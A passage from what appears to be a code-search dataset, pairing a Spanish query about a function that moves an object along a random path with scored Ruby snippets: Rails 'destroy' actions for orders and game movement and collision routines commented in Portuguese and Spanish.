destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e9d613f87c1f4e75a09dd5e97254e983", "score": "0.69666106", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9061a2b835acc0703ef0711255688873", "score": "0.6965759", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to api_orders_url, notice: \"Order was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2a85fc6cdb674609d83db96c8cf72bbd", "score": "0.6965007", "text": "def destroy\n @order = Order.find(params[:order_id])\n @order_item = @order.order_items.find(params[:id])\n @order_item.destroy\n\n respond_to do |format|\n format.html { redirect_to order_order_items_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "28486cfb13b4efbc7f68854318ea834c", "score": "0.6963886", "text": "def destroy\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0c38ee5ba55ef56725937d656f8448dd", "score": "0.69618404", "text": "def destroy\n if @order.destroy\n render :json => { status: 'SUCCESS', message: 'Deleted the post' }\n else\n render :json => { status: 'Error', message: 'Error post' }\n end\n end", "title": "" }, { "docid": "f5b56acd37151615017dff5c2b63af83", "score": "0.69491756", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to circle_orders_path, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c11017741232f15b76427cbdddd90f0a", "score": "0.69478655", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c11017741232f15b76427cbdddd90f0a", "score": "0.69478655", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c11017741232f15b76427cbdddd90f0a", "score": "0.69478655", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
dc9db5cd62e9e06838112882cb1a04ab
def Mover: Traza una ruta al azar en la ventana
[ { "docid": "5ef9b5138585b4ccf6b31476e00e8b6c", "score": "0.6934757", "text": "def mover\r\n if !@libre && !self.rango?(@buscarx, @buscary)\r\n @direccion.buscar(@buscarx, @buscary)\r\n elsif @libre\r\n @direccion.mover\r\n else\r\n @libre = true\r\n end # if\r\n\r\n if @tiburon_hambriento\r\n @direccion.aumentar_velocidad\r\n end # if\r\n # @direccion.mover\r\n @x = @direccion.get_x\r\n @y = @direccion.get_y\r\n end", "title": "" } ]
[ { "docid": "d283adf1df7e8320bc5b3b900ce6509a", "score": "0.67910683", "text": "def mover\r\n # Si se ha movido una cantidad de veces, cambiar su direccion\r\n # O en caso de que se salga del margen\r\n if @contador > @movimientos || (@posx - @desbordamientox) < 0 || (@posy - @desbordamientoy) < 0 || (@posx + @desbordamientox) > @maxx || (@posy + @desbordamientoy) > @maxy\r\n self.cambiar_direccion\r\n @contador = 0\r\n #print \"Se ha cambiado la direccion en: \" + @dir.to_s + \"\\n\"\r\n end #if\r\n\r\n self.cambiar_posicion\r\n\r\n @contador += 1\r\n end", "title": "" }, { "docid": "f7bf83be2c9b7d4aa50f5c1c39c4fe05", "score": "0.6303081", "text": "def move\n mover.update\n end", "title": "" }, { "docid": "97d33d94d88081f3b2e6023d284a82d5", "score": "0.60566354", "text": "def setup\n size(640, 360)\n @mover = Mover.new(width, height)\n @t = 0.0\nend", "title": "" }, { "docid": "97d33d94d88081f3b2e6023d284a82d5", "score": "0.60566354", "text": "def setup\n size(640, 360)\n @mover = Mover.new(width, height)\n @t = 0.0\nend", "title": "" }, { "docid": "f5ed6eab189f1067340c9a983aad23a0", "score": "0.6043709", "text": "def mover_auto(tamano, ubicacion, cad_comandos)\n com=cad_comandos.chars\n com.each do |elem|\n if(elem != 'A')\n ubicacion[2]=direccion(ubicacion[2], elem)#(N, elemnto I o D)\n end\n if (elem == 'A')\n if (verificarLimites(ubicacion, tamano))\n ubicacion=avanzar(ubicacion,tamano)\n end\n end\n \n \n end\n \n return ubicacion #[2,2,S]\nend", "title": "" }, { "docid": "6b39deb4a8e910a5c835d7f0a1b034e8", "score": "0.59954125", "text": "def move_up\n @y -= @velocidadeDeMovimento\n\t\t@y = 13 + @radius if @y < 13 + @radius #Limitador do movimento para cima\n\n\t\t@y += @velocidadeDeMovimento if @y >= 56 and @y <= 71 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 1ª Linha 1° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 56 and @y <= 71 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 1ª Linha 2° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 56 and @y <= 71 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 1ª Linha 3° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 56 and @y <= 71 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 1ª Linha 4° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 56 and @y <= 71 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 1ª Linha 5° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 56 and @y <= 71 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 1ª Linha 6° bloco\n\n\t\t@y += @velocidadeDeMovimento if @y >= 88 and @y <= 103 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 2ª Linha 1° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 88 and @y <= 103 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 2ª Linha 2° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 88 and @y <= 103 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 2ª Linha 3° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 88 and @y <= 103 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 2ª Linha 4° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 88 and @y <= 103 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 2ª Linha 5° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 88 and @y <= 103 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 2ª Linha 6° bloco\n\n\t\t@y += @velocidadeDeMovimento if @y >= 110 and @y <= 135 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 3ª Linha 1° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 110 and @y <= 135 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 3ª Linha 2° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 110 and @y <= 135 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 3ª Linha 3° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 110 and @y <= 135 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 3ª Linha 4° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 110 and @y <= 135 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 3ª Linha 5° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 110 and @y <= 135 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 3ª Linha 6° bloco\n\n\t\t@y += @velocidadeDeMovimento if @y >= 142 and @y <= 167 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 4ª Linha 1° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 142 and @y <= 167 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 4ª Linha 2° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 142 and @y <= 167 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 4ª Linha 3° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 142 and @y <= 167 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 4ª Linha 4° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 142 and @y <= 167 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 4ª Linha 5° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 142 and @y <= 167 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 4ª Linha 6° bloco\n\n\t\t@y += @velocidadeDeMovimento if @y >= 174 and @y <= 199 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 5ª Linha 1° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 174 and @y <= 199 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 5ª Linha 2° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 174 and @y <= 199 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 5ª Linha 3° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 174 and @y <= 199 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 5ª Linha 4° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 174 and @y <= 199 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 5ª Linha 5° bloco\n\t\t@y += @velocidadeDeMovimento if @y >= 174 and @y <= 199 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 5ª Linha 6° bloco\n end", "title": "" }, { "docid": "ce8e294e7e07b977bb1717b956eb7a9e", "score": "0.594392", "text": "def procesarCapa\n tortuga = Turtle.new() # Se crea la tortuga con sus valores por defecto\n segmentos = [Punto.new(0, 0)] # Arreglo en el que se van agregando los segmentos conseguidos\n for a in $paint.cola\n if a.id == 1 # Si la instruccion es home():\n tortuga.punto = Punto.new(0, 0) # Devuelve a la tortuga a la posicion inicial\n\n elsif a.id == 2 # Si la instruccion es openeye():\n tortuga.ojo = true # Activar el ojo para marcar\n\n elsif a.id == 3 # Si la instruccion es closeeye():\n tortuga.ojo = false # Desactivar el ojo\n\n elsif a.id == 4 # Si la instruccion es forward():\n ini = tortuga.punto\n dir = tortuga.angulo\n len = a.args[0][1]\n\n tortuga.punto = desplazar ini, dir, len\n\n if tortuga.ojo\n fin = desplazar ini, dir, len\n puntos = get_line ini, fin\n segmentos += puntos\n end\n\n elsif a.id == 5 # Si la instruccion es backward():\n ini = tortuga.punto\n dir = tortuga.angulo\n len = -a.args[0][1]\n\n tortuga.punto = desplazar ini, dir, len\n\n if tortuga.ojo\n fin = desplazar ini, dir, len\n puntos = get_line ini, fin\n segmentos += puntos\n end\n\n elsif a.id == 6 # Si la instruccion es rotatel(x):\n tortuga.rotateL(a.args[0][1]) # Rotar tortuga a la izquierda\n\n elsif a.id == 7 # Si la instruccion es rotater(x):\n tortuga.rotateR(a.args[0][1]) # Rotar tortuga a la derecha\n\n elsif a.id == 8 # Si la instruccion es setposition(x, y):\n x = a.args[0][1]\n y = a.args[1][1]\n tortuga.punto = Punto.new(x, y)\n\n else # Si la instruccion es arc(x, y):\n puts \"Arcos - Coming Soon\"\n end\n end\n return segmentos\nend", "title": "" }, { "docid": "cf029e8405d7ced200759109d92a2872", "score": "0.5934916", "text": "def nach_oben\t\t\t\n\t\t\n\t\t@x = @x\n\t\t@y = @y - @a\n\t\t\t# Fall, dass es zu weit nach oben aus dem Fenster raus will \n\t\t\tif @y < RAND then \t\t\n\t\t\t\talert \"Da geht es nicht weiter! Du bist gegen den Rand gefahren!\" \n\t\t\t\t@x = X_STARTPOSITION\n\t\t\t\t@y = Y_STARTPOSITION\n\t\t\tend \n\n\t\[email protected](@x, @y)\n\tend", "title": "" }, { "docid": "eaa1a7d14c0a5f613abdc9d9ad33664c", "score": "0.59218436", "text": "def moverJogadorRelacaoMapa\n #Verifica se esta indo para esquerda. Sempre em relação ao personagem\n if WIDTH - @jogador.body.p.x > WIDTH - 300\n #condição importante. Evita que o personagem volte ao chegar na ponta do mapa\n if @world.limites_mapa < TOTAL_WIDTH_TILE-800\n @jogador.body.p.x += SPEED_MAP\n end\n @world.map_left(SPEED_MAP)\n\n #Verifica se esta indo para direita. Sempre em relação ao personagem\n elsif WIDTH - @jogador.body.p.x <= 300\n #condição importante. Evita que o personagem volte ao chegar na ponta do mapa\n if @world.limites_mapa > 0\n @jogador.body.p.x -= SPEED_MAP\n end\n @world.map_right(-SPEED_MAP)\n end\n end", "title": "" }, { "docid": "842e8af9be5d1ee6dd4b499c5f4670af", "score": "0.5890618", "text": "def movement; end", "title": "" }, { "docid": "842e8af9be5d1ee6dd4b499c5f4670af", "score": "0.5890618", "text": "def movement; end", "title": "" }, { "docid": "86ef9822839c208537a143fb9f174647", "score": "0.58904713", "text": "def mover_direita\n if @no_ar\n @acao = :pula_direita\n @corpo.apply_impulse(CP::Vec2.new(IMPULSO_NO_AR, 0), CP::Vec2.new(0,0))\n else\n @acao = :corre_direita\n @corpo.apply_impulse(CP::Vec2.new(IMPULSO_CORRIDA, 0), CP::Vec2.new(0, 0))\n end\n end", "title": "" }, { "docid": "1c866be444498ea732296fc98b6a7e9c", "score": "0.58875036", "text": "def mover_direita\n if @no_ar\n @acao = :pula_direita\n @corpo.apply_impulse(CP::Vec2.new(IMPULSO_NO_AR, 0), CP::Vec2.new(0,0))\n else\n @acao = :corre_direita\n @corpo.apply_impulse(CP::Vec2.new(IMPULSO_CORRIDA), CP::Vec2.new(0, 0))\n end\n end", "title": "" }, { "docid": "fc55a3a2e7e837e0cf5da6cf87000295", "score": "0.58836275", "text": "def movement ; end", "title": "" }, { "docid": "407f05c1cc90651cc93ca6777c1d83be", "score": "0.5875792", "text": "def atacar\n @espada.atacando = true\n if @podeSom\n @somEspada.play(0.5)\n @somVoz.play(0.5)\n @podeSom = false\n end\n\n if @QualLado\n @movAtaque = 100\n else\n @movAtaque = -100\n end\n end", "title": "" }, { "docid": "ede2eca816636aa29778d92ee2458a81", "score": "0.5864429", "text": "def vincitore_mano(carte_giocate)\r\n \r\n end", "title": "" }, { "docid": "507a137963bf82a2ae33246e9ba28ef0", "score": "0.58526886", "text": "def moves\n \n end", "title": "" }, { "docid": "1d3f89244d8879e46d0688468f064d0f", "score": "0.58367205", "text": "def alta_vista\n \n end", "title": "" }, { "docid": "202315fa829b81012ddca0e12cc3d0b2", "score": "0.58282906", "text": "def move\n\t\tself.location += rand(1..6)\n# keeps track of horses location\n# move will make the example horse move forward a random number 1-10 characters\n\tend", "title": "" }, { "docid": "8844a9f239d163f3c35756192a45af1d", "score": "0.5788621", "text": "def mover\n begin\n columna = Integer(params[:columna])\n puts(columna)\n fila, _columna = @@game.play(columna)\n response = {:status => 'ok', :game_state => @@game.gameState,\n :fichas_ganadoras => @@game.winnerSteps,\n :movimientos => @@game.performedSteps,\n :turno => @@game.playerTurn,\n :fila => fila,\n :columna => _columna\n }\n\n render :json => response\n rescue Exception => e\n render json: {status: 'ERROR', 'message' => e}, status => 'error'\n end\n end", "title": "" }, { "docid": "6ef5ee4bdcaf42397fcb33e458086617", "score": "0.5784104", "text": "def cambiar_posicion\r\n case @dir\r\n when 0; @posx -= @velocidad\r\n when 1; @posy -= @velocidad\r\n when 2; @posx += @velocidad\r\n when 3; @posy += @velocidad\r\n when 4; @posx -= @velocidad; @posy -= @velocidad\r\n when 5; @posx += @velocidad; @posy -= @velocidad\r\n when 6; @posx += @velocidad; @posy += @velocidad\r\n when 7; @posx -= @velocidad; @posy += @velocidad\r\n when 8; @posx -= @velocidad * 1.2; @posy -= @velocidad\r\n when 9; @posx -= @velocidad; @posy -= @velocidad * 1.2\r\n when 10; @posx += @velocidad * 1.2; @posy -= @velocidad\r\n when 11; @posx += @velocidad; @posy -= @velocidad * 1.2\r\n when 12; @posx += @velocidad; @posy += @velocidad * 1.2\r\n when 13; @posx += @velocidad * 1.2; @posy += @velocidad\r\n when 14; @posx -= @velocidad; @posy += @velocidad * 1.2\r\n when 15; @posx -= @velocidad * 1.2; @posy += @velocidad\r\n end #case\r\n end", "title": "" }, { "docid": "144325f73246b9e44d0eb338a7b62719", "score": "0.57672125", "text": "def move\n \n end", "title": "" }, { "docid": "302bba9544a379d213bdd0017295b9d7", "score": "0.5735253", "text": "def set_mover\n @mover = Mover.find(params[:id])\n end", "title": "" }, { "docid": "5387d36374c8bafb8d7c6aac8591e66a", "score": "0.5725323", "text": "def reset\n @movers = Array.new(5)\n @movers.each_index do |i|\n @movers[i] = Mover.new(random(0.5*2.25, 3*2.25), 20*2.25+i*40*2.25, 0)\n end\nend", "title": "" }, { "docid": "e8d201122d14ac2b353abcf1c3997aa5", "score": "0.5703296", "text": "def move_north\n @v_position += 1\n end", "title": "" }, { "docid": "f4e467fa25094fb0bc820e5c21bde0b8", "score": "0.5690172", "text": "def turn(this_much)\r\n super this_much\r\n calculate_fov\r\n end", "title": "" }, { "docid": "c03114c20f31cce3964c91da838efc9e", "score": "0.56895006", "text": "def mover_esquerda\n if @no_ar\n @acao = :pula_esquerda\n @corpo.apply_impulse(CP::Vec2.new(-IMPULSO_NO_AR, 0), CP::Vec2.new(0, 0))\n else\n @acao = :corre_esquerda\n @corpo.apply_impulse(CP::Vec2.new(-IMPULSO_CORRIDA, 0), CP::Vec2.new(0, 0))\n end\n end", "title": "" }, { "docid": "c03114c20f31cce3964c91da838efc9e", "score": "0.56895006", "text": "def mover_esquerda\n if @no_ar\n @acao = :pula_esquerda\n @corpo.apply_impulse(CP::Vec2.new(-IMPULSO_NO_AR, 0), CP::Vec2.new(0, 0))\n else\n @acao = :corre_esquerda\n @corpo.apply_impulse(CP::Vec2.new(-IMPULSO_CORRIDA, 0), CP::Vec2.new(0, 0))\n end\n end", "title": "" }, { "docid": "40d1a785b3f22bf6236087535568e0b5", "score": "0.56752896", "text": "def move\n\n end", "title": "" }, { "docid": "e6568679f57519fdbd5609e9d95417d7", "score": "0.56681275", "text": "def test_mazzo_per_sette\n player = @round_players[0]\n extra = 6\n if player.type == :human_local\n extra = 1\n end\n index_pl_gui = (@mazzo_gioco.size - 1) - extra\n index_briscola = (@mazzo_gioco.size - 1)\n @mazzo_gioco[index_pl_gui] = :_7s\n @mazzo_gioco[index_pl_gui - 1] = :_Rs\n @mazzo_gioco[index_briscola] = :_Cs\n end", "title": "" }, { "docid": "e8e33a82dfe7ba9465b13f98596dba28", "score": "0.56506914", "text": "def mover\n\n @animal = Animal.find(params[:id2])\n @zona = Zona.find(params[:id1])\n\n\n #Controlar animal.zona = user.zona || animal.zona <- libremoviento\n # permisos mover????????????????????????????????????????????????????????????????????????????????\n if ((@animal.zona_id != current_persona.zona_id && @animal.zona.libremovimiento!=1) || (@zona.id != current_persona.zona_id && @zona.libremovimiento!=1))\n\tflash[:notice] = 'Acceso no permitido, animal o zona restringida para su perfil.'\n\tredirect_to :action=>\"show\", :id=>@animal.id\n\n else\n\t@chenil = @animal.chenil_id\n\t@chenils = Chenil.find(:all, :conditions => [\"zona_id = ?\", @zona.id], :order => \"numero ASC\")\n #?????????? porque no por zona???\n\t@animals = Animal.where(\"chenil_id in (?)\", @chenils) \n\t@relacion_animals = RelacionAnimal.find(:all, :conditions => [\"animal1_id = ? OR animal2_id = ?\", @animal.id, @animal.id])\t\n\n\trespond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @animals }\n\tend\n end\n\n end", "title": "" }, { "docid": "8aaf3076df175593607fceb02b92678e", "score": "0.5639343", "text": "def move(player, currentSpot, newSpot)\nend", "title": "" }, { "docid": "393d754f2b1753ae8e64c87423d4499f", "score": "0.56281024", "text": "def move_left\n\t\t@x -= @velocidadeDeMovimento\n\t\t@x = 7 + @radius if @x < 7 + @radius #Limitador do movimento para a esquerda\n\n\t\t@x += @velocidadeDeMovimento if @y >= 40 and @y <= 62 and @x >= 35 and @x <= 59 #Limitação do movimento para a esquerda - 1ª Linha 1° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 40 and @y <= 62 and @x >= 67 and @x <= 91 #Limitação do movimento para a esquerda - 1ª Linha 2° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 40 and @y <= 62 and @x >= 99 and @x <= 123 #Limitação do movimento para a esquerda - 1ª Linha 3° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 40 and @y <= 62 and @x >= 131 and @x <= 155 #Limitação do movimento para a esquerda - 1ª Linha 4° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 40 and @y <= 62 and @x >= 163 and @x <= 187 #Limitação do movimento para a esquerda - 1ª Linha 5° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 40 and @y <= 62 and @x >= 195 and @x <= 219 #Limitação do movimento para a esquerda - 1ª Linha 6° bloco\n\n\t\t@x += @velocidadeDeMovimento if @y >= 72 and @y <= 94 and @x >= 35 and @x <= 59 #Limitação do movimento para a esquerda - 2ª Linha 1° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 72 and @y <= 94 and @x >= 67 and @x <= 91 #Limitação do movimento para a esquerda - 2ª Linha 2° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 72 and @y <= 94 and @x >= 99 and @x <= 123 #Limitação do movimento para a esquerda - 2ª Linha 3° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 72 and @y <= 94 and @x >= 131 and @x <= 155 #Limitação do movimento para a esquerda - 2ª Linha 4° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 72 and @y <= 94 and @x >= 163 and @x <= 187 #Limitação do movimento para a esquerda - 2ª Linha 5° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 72 and @y <= 94 and @x >= 195 and @x <= 219 #Limitação do movimento para a esquerda - 2ª Linha 6° bloco\n\n\t\t@x += @velocidadeDeMovimento if @y >= 104 and @y <= 126 and @x >= 35 and @x <= 59 #Limitação do movimento para a esquerda - 3ª Linha 1° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 104 and @y <= 126 and @x >= 67 and @x <= 91 #Limitação do movimento para a esquerda - 3ª Linha 2° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 104 and @y <= 126 and @x >= 99 and @x <= 123 #Limitação do movimento para a esquerda - 3ª Linha 3° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 104 and @y <= 126 and @x >= 131 and @x <= 155 #Limitação do movimento para a esquerda - 3ª Linha 4° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 104 and @y <= 126 and @x >= 163 and @x <= 187 #Limitação do movimento para a esquerda - 3ª Linha 5° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 104 and @y <= 126 and @x >= 195 and @x <= 219 #Limitação do movimento para a esquerda - 3ª Linha 6° bloco\n\n\t\t@x += @velocidadeDeMovimento if @y >= 136 and @y <= 158 and @x >= 35 and @x <= 59 #Limitação do movimento para a esquerda - 4ª Linha 1° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 136 and @y <= 158 and @x >= 67 and @x <= 91 #Limitação do movimento para a esquerda - 4ª Linha 2° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 136 and @y <= 158 and @x >= 99 and @x <= 123 #Limitação do movimento para a esquerda - 4ª Linha 3° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 136 and @y <= 158 and @x >= 131 and @x <= 155 #Limitação do movimento para a esquerda - 4ª Linha 4° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 136 and @y <= 158 and @x >= 163 and @x <= 187 #Limitação do movimento para a esquerda - 4ª Linha 5° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 136 and @y <= 158 and @x >= 195 and @x <= 219 #Limitação do movimento para a esquerda - 4ª Linha 6° bloco\n\n\t\t@x += @velocidadeDeMovimento if @y >= 168 and @y <= 190 and @x >= 35 and @x <= 59 #Limitação do movimento para a esquerda - 5ª Linha 1° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 168 and @y <= 190 and @x >= 67 and @x <= 91 #Limitação do movimento para a esquerda - 5ª Linha 2° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 168 and @y <= 190 and @x >= 99 and @x <= 123 #Limitação do movimento para a esquerda - 5ª Linha 3° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 168 and @y <= 190 and @x >= 131 and @x <= 155 #Limitação do movimento para a esquerda - 5ª Linha 4° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 168 and @y <= 190 and @x >= 163 and @x <= 187 #Limitação do movimento para a esquerda - 5ª Linha 5° bloco\n\t\t@x += @velocidadeDeMovimento if @y >= 168 and @y <= 190 and @x >= 195 and @x <= 219 #Limitação do movimento para a esquerda - 5ª Linha 6° bloco\n end", "title": "" }, { "docid": "68383b73c84355ae7f72f3d1010be353", "score": "0.5620524", "text": "def apply_velocity(moon)\n new_x_pos = moon[:position][:x] + moon[:velocity][:x]\n new_y_pos = moon[:position][:y] + moon[:velocity][:y]\n new_z_pos = moon[:position][:z] + moon[:velocity][:z]\n Moon.new(moon[:name], Coord.new(new_x_pos, new_y_pos, new_z_pos), Coord.new(moon[:velocity][:x], moon[:velocity][:y], moon[:velocity][:z]))\nend", "title": "" }, { "docid": "88a91468d9b30b75d53d8423eff47ab7", "score": "0.5617528", "text": "def update\r\n self.mover\r\n\r\n @image = @animation[@frame_name].next\r\n @frame_name = @direccion.izquierda? ? :izquierda : :derecha\r\n\r\n\r\n vivo = Time.now - @vida_inicio\r\n if vivo > @vida\r\n @tiburon_hambriento = true\r\n end # if\r\n end", "title": "" }, { "docid": "390e17a98086405bf73581428fa52fc9", "score": "0.56171507", "text": "def frenar\n @velocidad = 0\n end", "title": "" }, { "docid": "1e49f94db5924211d03b3a0d8d9ab3e8", "score": "0.5609684", "text": "def move_up\n @y -= @velocity\n\t\t@y = 29 + @radius if @y < 29 + @radius #Limitador do movimento para cima\n\n\t\t@y += @velocity if @y >= 56 and @y <= 71 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 1ª Linha 1° bloco\n\t\t@y += @velocity if @y >= 56 and @y <= 71 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 1ª Linha 2° bloco\n\t\t@y += @velocity if @y >= 56 and @y <= 71 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 1ª Linha 3° bloco\n\t\t@y += @velocity if @y >= 56 and @y <= 71 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 1ª Linha 4° bloco\n\t\t@y += @velocity if @y >= 56 and @y <= 71 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 1ª Linha 5° bloco\n\t\t@y += @velocity if @y >= 56 and @y <= 71 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 1ª Linha 6° bloco\n\n\t\t@y += @velocity if @y >= 88 and @y <= 103 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 2ª Linha 1° bloco\n\t\t@y += @velocity if @y >= 88 and @y <= 103 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 2ª Linha 2° bloco\n\t\t@y += @velocity if @y >= 88 and @y <= 103 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 2ª Linha 3° bloco\n\t\t@y += @velocity if @y >= 88 and @y <= 103 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 2ª Linha 4° bloco\n\t\t@y += @velocity if @y >= 88 and @y <= 103 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 2ª Linha 5° bloco\n\t\t@y += @velocity if @y >= 88 and @y <= 103 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 2ª Linha 6° bloco\n\n\t\t@y += @velocity if @y >= 110 and @y <= 135 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 3ª Linha 1° bloco\n\t\t@y += @velocity if @y >= 110 and @y <= 135 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 3ª Linha 2° bloco\n\t\t@y += @velocity if @y >= 110 and @y <= 135 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 3ª Linha 3° bloco\n\t\t@y += @velocity if @y >= 110 and @y <= 135 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 3ª Linha 4° bloco\n\t\t@y += @velocity if @y >= 110 and @y <= 135 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 3ª Linha 5° bloco\n\t\t@y += @velocity if @y >= 110 and @y <= 135 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 3ª Linha 6° bloco\n\n\t\t@y += @velocity if @y >= 142 and @y <= 167 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 4ª Linha 1° bloco\n\t\t@y += @velocity if @y >= 142 and @y <= 167 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 4ª Linha 2° bloco\n\t\t@y += @velocity if @y >= 142 and @y <= 167 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 4ª Linha 3° bloco\n\t\t@y += @velocity if @y >= 142 and @y <= 167 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 4ª Linha 4° bloco\n\t\t@y += @velocity if @y >= 142 and @y <= 167 and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 4ª Linha 5° bloco\n\t\t@y += @velocity if @y >= 142 and @y <= 167 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 4ª Linha 6° bloco\n\n\t\t@y += @velocity if @y >= 174 and @y <= 199 and @x >= 35 and @x <= 59 #Limitação do movimento para cima - 5ª Linha 1° bloco\n\t\t@y += @velocity if @y >= 174 and @y <= 199 and @x >= 67 and @x <= 91 #Limitação do movimento para cima - 5ª Linha 2° bloco\n\t\t@y += @velocity if @y >= 174 and @y <= 199 and @x >= 99 and @x <= 123 #Limitação do movimento para cima - 5ª Linha 3° bloco\n\t\t@y += @velocity if @y >= 174 and @y <= 199 and @x >= 131 and @x <= 155 #Limitação do movimento para cima - 5ª Linha 4° bloco\n\t\t@y += @velocity if @y >= 174 and @y <= 199 